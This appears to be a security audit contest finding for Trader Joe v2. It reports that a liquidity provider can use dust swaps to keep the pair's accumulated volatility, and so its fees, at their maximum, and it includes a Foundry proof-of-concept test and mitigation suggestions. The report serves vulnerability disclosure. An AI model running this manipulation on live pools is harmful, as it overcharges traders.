Trader Joe v2 contest - immeas's results

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/libraries/FeeHelper.sol#L55-L75

Vulnerability details

Impact

After an event of high volatility a liquidity provider can do dust trades to keep volatilityAccumulated from decreasing thus maxing out fees gained even if no "real" trades are done. Given low gas prices this might be advantageous.

In the event that this happens, it will not only cause unnaturally high fees for traders but might also affect trust in the protocol.

Proof of Concept

Test in LBPair.Fees.t.sol

    function testKeepFeeMaxByManipulatingVolatility() public {
        // distribution to make it easy to increase volatility for testing
        uint256[] memory _ids = new uint256[](9999);
        for(uint256 i; i<9999;i++) {
            _ids[i] = ID_ONE - 4999 + i;
        }

        uint256[] memory _distributionX = new uint256[](9999);
        for(uint256 i; i<5000;i++) {
            _distributionX[i+4999] = 2e14;
        }

        uint256[] memory _distributionY = new uint256[](9999);
        for(uint256 i; i<5000;i++) {
            _distributionY[i] = 2e14;
        }

        token6D.mint(address(pair),500e18);
        token18D.mint(address(pair),500e18);
        pair.mint(_ids, _distributionX, _distributionY, ALICE);

        // force up volatility for sake of testing
        token6D.mint(address(pair),30e18);
        pair.swap(true,DEV);
        FeeHelper.FeeParameters memory fees;
        fees = pair.feeParameters();
        assertEq(fees.volatilityAccumulated,1777638); // max

        // liquidity provider can keep volatility up
        for(uint256 i = 0 ; i<100 ; i++) {
            vm.warp(DEFAULT_FILTER_PERIOD-5); // enough to make sure it gest included
            token18D.mint(address(pair),2); // trade dust
            pair.swap(false,ALICE);

            vm.prank(DEV);
            factory.forceDecay(pair); // doesn't help, only affects volatilityReference

            fees = pair.feeParameters();
            assertEq(fees.volatilityAccumulated,1777638,"fee stays max"); // still max as indexRef never resets
        }
    }

Granted, this test is just a PoC because the numbers and setup is very artificial. But it proves a point that a LP, or anyone else for that matter, can manipulate the volatility calculation under certain circumstances. Other than trading at an unnaturaly high fee there's nothing the market can do to prevent it.

The max fee comes from indexRef in fee params being kept the old value before the volatility since each small trade is done before the filter period.

Tools Used

vscode, forge

Recommended Mitigation Steps

This might just be an artifact of how the variable fee model and an acceptable risk, which I think is fair.

Completely mitigating this requires an overhaul of both the implementation and design of the volatility counter. Like introducing a parameter that is proportional to the amount traded. Since the circumstances for this to happen are quite special and unlikely I don't think this is needed.

However, if you want to do something about it, I would suggest adding a "safety" mechanism, similar to forceDecay(), forceResetIndex() that writes indexRef to activeId. This would give the owners the ability to manipulate both parameters that goes into the volatility calculation and stop any missuse.